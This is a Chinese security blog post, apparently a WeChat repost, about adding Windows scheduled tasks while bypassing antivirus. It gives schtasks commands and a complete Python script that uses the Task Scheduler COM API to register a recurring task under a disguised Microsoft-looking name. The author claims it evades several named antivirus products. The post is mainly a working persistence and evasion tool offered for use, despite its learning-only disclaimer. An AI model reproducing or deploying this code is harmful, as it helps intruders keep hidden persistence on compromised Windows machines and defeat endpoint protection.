免杀 | 使用技巧绕过杀软添加计划任务。
2023-12-21 11:40:13 Author: F12sec(查看原文) 阅读量:15 收藏


申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把 明暗安全
 设为星标,否则可能就看不到啦!

1.漏洞背景

计划任务的添加,一般来说为

schtasks /create /ru system /tn “Microsoft\Windows\Multimedia\SystemMediaService” /sc MINUTE /mo 50 /tr “C:\Windows\system.exe” /st 16:22 /f (创建一个名为Microsoft\Windows\Multimedia\SystemMediaService, 16:22开始执行,每50分钟执行一次)

SCHTASKS /Run /TN “Microsoft\Windows\Multimedia\SystemMediaService” /f (启动计划任务)

schtasks /delete /tn “Microsoft\Windows\Multimedia\SystemSoundsService” /f(删除计划任务)

然而,有存在杀软的情况下,添加计划任务是被禁止的。

通过fuzz,发现powershell添加杀软的方式被彻底堵死了(个人尝试)

分析:

这个Python脚本使用了win32com.client库来与Windows Task Scheduler(任务计划程序)进行交互。通过这个库,脚本能够调用Windows的COM(组件对象模型)接口来创建、配置和管理计划任务。具体来说,它调用了以下Windows API:

Task Scheduler COM接口:

win32com.client.Dispatch("Schedule.Service"): 这行代码创建了一个TaskService对象,它是Task Scheduler的COM接口的一部分。通过这个对象,脚本可以访问任务计划程序的功能。
任务创建和配置:

taskserver.NewTask(0): 这个方法用于创建一个新的任务定义(TaskDefinition对象)。这个对象包含了任务的所有配置信息,如触发器、操作、设置等。
taskdefinition.Triggers.Create(trigger_type): 这行代码用于创建一个新的触发器,它定义了任务何时运行。trigger_type参数决定了触发器的类型(如每日、每小时或每分钟)。
taskdefinition.Actions.Create(ActionTypeExecutable): 这个方法用于创建一个新的操作,指定任务执行时要运行的程序或脚本。
任务注册:

folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task, "Local Service", None, 5): 这行代码用于注册(或更新)一个任务。它将任务定义与一个名称相关联,并在任务计划程序中进行设置。
通过这些API调用,脚本能够在Windows环境中创建和配置计划任务。这些操作都是通过Windows Task Scheduler的COM接口完成的,这是一个用于编程方式管理任务计划程序的标准Windows API。

免杀,可以执行。

github:https://github.com/shanxigetanxiaochou/addjihuarenwu


自测过国内全家桶,x绒,3x0
 
import win32com.clientimport argparsefrom datetime import datetime, timedeltaimport getpass
def regtask(patha, name, time): try: TriggerTypeDaily = 2 TriggerTypeHourly = 4 TriggerTypeMinutely = 6 ActionTypeExecutable = 0
# 创建 TaskService 对象 taskserver = win32com.client.Dispatch("Schedule.Service") taskserver.Connect()
# 获取任务文件夹 folder = taskserver.GetFolder("\\")
# 创建任务定义 taskdefinition = taskserver.NewTask(0)
# 设置任务的描述和作者 regInfo = taskdefinition.RegistrationInfo regInfo.Description = "任务将执行" regInfo.Author = getpass.getuser()
# 设置任务计划 settings = taskdefinition.Settings settings.StartWhenAvailable = True
# 根据 --time 参数设置触发器类型 if time: if time.startswith("hour/"): interval = int(time.split("/")[1]) trigger_type = TriggerTypeHourly elif time.startswith("minute/"): interval = int(time.split("/")[1]) trigger_type = TriggerTypeMinutely else: trigger_type = TriggerTypeDaily interval = 1 else: trigger_type = TriggerTypeDaily interval = 1
# 创建触发器 triggers = taskdefinition.Triggers trigger = triggers.Create(trigger_type) start_time = datetime.now() + timedelta(minutes=1) trigger.StartBoundary = start_time.strftime("%Y-%m-%dT%H:%M:%S") trigger.Id = "CustomTrigger" trigger.Repetition.Interval = f'PT{interval}M'
# 创建任务执行操作 action = taskdefinition.Actions.Create(ActionTypeExecutable) action.Path = patha
# 设置默认任务名称 if not name: name = "Microsoft\\Windows\\Multimedia\\SystemMediaService"
# 注册任务 create_or_update_task = 6
folder.RegisterTaskDefinition(name, taskdefinition, create_or_update_task, "Local Service", None, 5) print("计划任务创建完成") except Exception as e: print(f"出现异常:{str(e)}") print("请使用 -h 或 --help 检查参数。")def parse_args(): parser = argparse.ArgumentParser(description="创建一个计划任务") parser.add_argument('--addresses', help="可执行文件(exe)的绝对路径(必选)")# parser.add_argument('--users', help="任务的用户名(必选)") parser.add_argument('--name', help="任务名称(可选),默认为Microsoft\\Windows\\Multimedia\\SystemMediaService") parser.add_argument('--time', help="任务触发时间,默认为执行完本工具后一分钟运行一次。(可选)(例如,hour/1 或 minute/10)字面意思,自启动时间") args = parser.parse_args()
return args
if __name__ == '__main__': args = parse_args()
# 如果未指定 --users 参数,使用当前用户的用户名 regtask(args.addresses, args.name, args.time)
—————————————————————
  • 往期精彩推荐

实战 | 记一次Bugcrowd实战挖掘
工具 | burp被动扫描xss神器
工具 | 无回显变可回显rce

❤️爱心三连击

1.关注公众号「明暗安全」

2.本文已收录在明暗官方网站:http://www.php1nf0.top/

3.看到这里了就点个关注支持下吧,你的「关注」是我创作的动力。

公众号:明暗安全

官方网站:http://www.php1nf0.top/

这是一个终身学习的团队,他们在坚持自己热爱的事情,欢迎加入明暗安全,和师傅们一起开心的挖洞~

        关注和转发是莫大鼓励❤️


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NjU3NzE3OQ==&mid=2247488783&idx=3&sn=97ddb3a3118432192bf009d7ace54785&chksm=c117ed937fa73187acd377fc96d2dce8a6d1532c3348018c063ea3a96e0b29a6ca8c029ac808&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh